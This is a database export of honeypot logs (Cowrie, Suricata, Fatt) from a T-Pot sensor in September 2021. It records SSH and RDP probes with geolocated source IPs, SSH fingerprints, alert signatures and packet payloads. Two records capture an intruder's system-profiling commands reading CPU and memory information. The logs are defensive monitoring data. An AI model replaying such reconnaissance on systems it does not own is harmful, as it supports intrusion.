35974	46.101.115.211	109.199.241.180	Fatt	2021-09-20 15:11:08.138815+03	2021-09-20 15:15:03.967689+03	{"_id": "egYdA3wBvYTbRNuE_F9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44024, "dest_port": 22, "timestamp": "2021-09-20T12:11:08.138815", "@timestamp": "2021-09-20T12:11:08.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	DE
35975	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:08.894511+03	2021-09-20 15:15:03.96969+03	{"_id": "fgYdA3wBvYTbRNuE_l8s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:08.894511Z", "@timestamp": "2021-09-20T12:11:08.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35976	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:09.934772+03	2021-09-20 15:15:03.97069+03	{"_id": "hgYeA3wBvYTbRNuEAl8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:09.934772Z", "@timestamp": "2021-09-20T12:11:09.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35977	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:05.74762+03	2021-09-20 15:15:03.97169+03	{"_id": "WwYdA3wBvYTbRNuE8l9w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:05.747620Z", "@timestamp": "2021-09-20T12:11:05.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
35978	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:06.803033+03	2021-09-20 15:15:03.97269+03	{"_id": "XQYdA3wBvYTbRNuE9l9a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:06.803033Z", "@timestamp": "2021-09-20T12:11:06.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
35979	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:07.878828+03	2021-09-20 15:15:03.97469+03	{"_id": "cwYdA3wBvYTbRNuE-l9H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:07.878828Z", "@timestamp": "2021-09-20T12:11:07.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
35980	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:11:08.096866+03	2021-09-20 15:15:03.975691+03	{"_id": "cQYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9e98ed5745b6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:11:08.096866Z", "@timestamp": "2021-09-20T12:11:08.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	HK
35981	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:11:08.307035+03	2021-09-20 15:15:03.976692+03	{"_id": "dgYdA3wBvYTbRNuE-19h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:11:07.874185+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2224191669229257, "payload": "AAADzAYUDJOBBK82KbFUh+W0AceyRwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37420, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:11:08.307035Z", "@timestamp": "2021-09-20T12:11:08.307Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........6).T......G...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	HK
35982	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:11:08.302195+03	2021-09-20 15:15:03.978722+03	{"_id": "eQYdA3wBvYTbRNuE-19h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 2224191669229257, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37420, "dest_port": 22, "timestamp": "2021-09-20T12:11:08.302195Z", "@timestamp": "2021-09-20T12:11:08.302Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	HK
35983	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:08.107174+03	2021-09-20 15:15:03.979719+03	{"_id": "ewYdA3wBvYTbRNuE_F9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44024, "timestamp": "2021-09-20T12:11:08.107174", "@timestamp": "2021-09-20T12:11:08.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35984	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:08.893967+03	2021-09-20 15:15:03.980719+03	{"_id": "gQYdA3wBvYTbRNuE_l8s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:08.893967Z", "@timestamp": "2021-09-20T12:11:08.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
35985	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:09.515534+03	2021-09-20 15:15:03.982719+03	{"_id": "ggYdA3wBvYTbRNuE_l8s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "43.240.6.90", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6216557025909424, "duplicate": true, "timestamp": "2021-09-20T12:11:09.515534Z", "@timestamp": "2021-09-20T12:11:09.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35986	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:11:10.448359+03	2021-09-20 15:15:03.983691+03	{"_id": "hAYeA3wBvYTbRNuEAl8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9e98ed5745b6", "@version": "1", "duration": 2.357661008834839, "timestamp": "2021-09-20T12:11:10.448359Z", "@timestamp": "2021-09-20T12:11:10.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	HK
35987	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:11.599643+03	2021-09-20 15:15:03.98569+03	{"_id": "iAYeA3wBvYTbRNuEBV_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "43.240.6.90", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6198842525482178, "duplicate": true, "timestamp": "2021-09-20T12:11:11.599643Z", "@timestamp": "2021-09-20T12:11:11.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35988	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:13.057909+03	2021-09-20 15:15:03.986691+03	{"_id": "lgYeA3wBvYTbRNuEDV_P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-frv-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.params", "message": [], "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:13.057909Z", "@timestamp": "2021-09-20T12:11:13.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	IN
35989	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:11:13.158373+03	2021-09-20 15:15:03.987691+03	{"_id": "lwYeA3wBvYTbRNuEDl_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:12.806591+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1321217745243839, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 51603, "timestamp": "2021-09-20T12:11:13.158373Z", "@timestamp": "2021-09-20T12:11:13.158Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35990	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:11:13.456198+03	2021-09-20 15:15:03.989689+03	{"_id": "mQYeA3wBvYTbRNuEDl_u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:12.806591+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1321217745243839, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51603, "dest_port": 3389, "timestamp": "2021-09-20T12:11:13.456198Z", "@timestamp": "2021-09-20T12:11:13.456Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
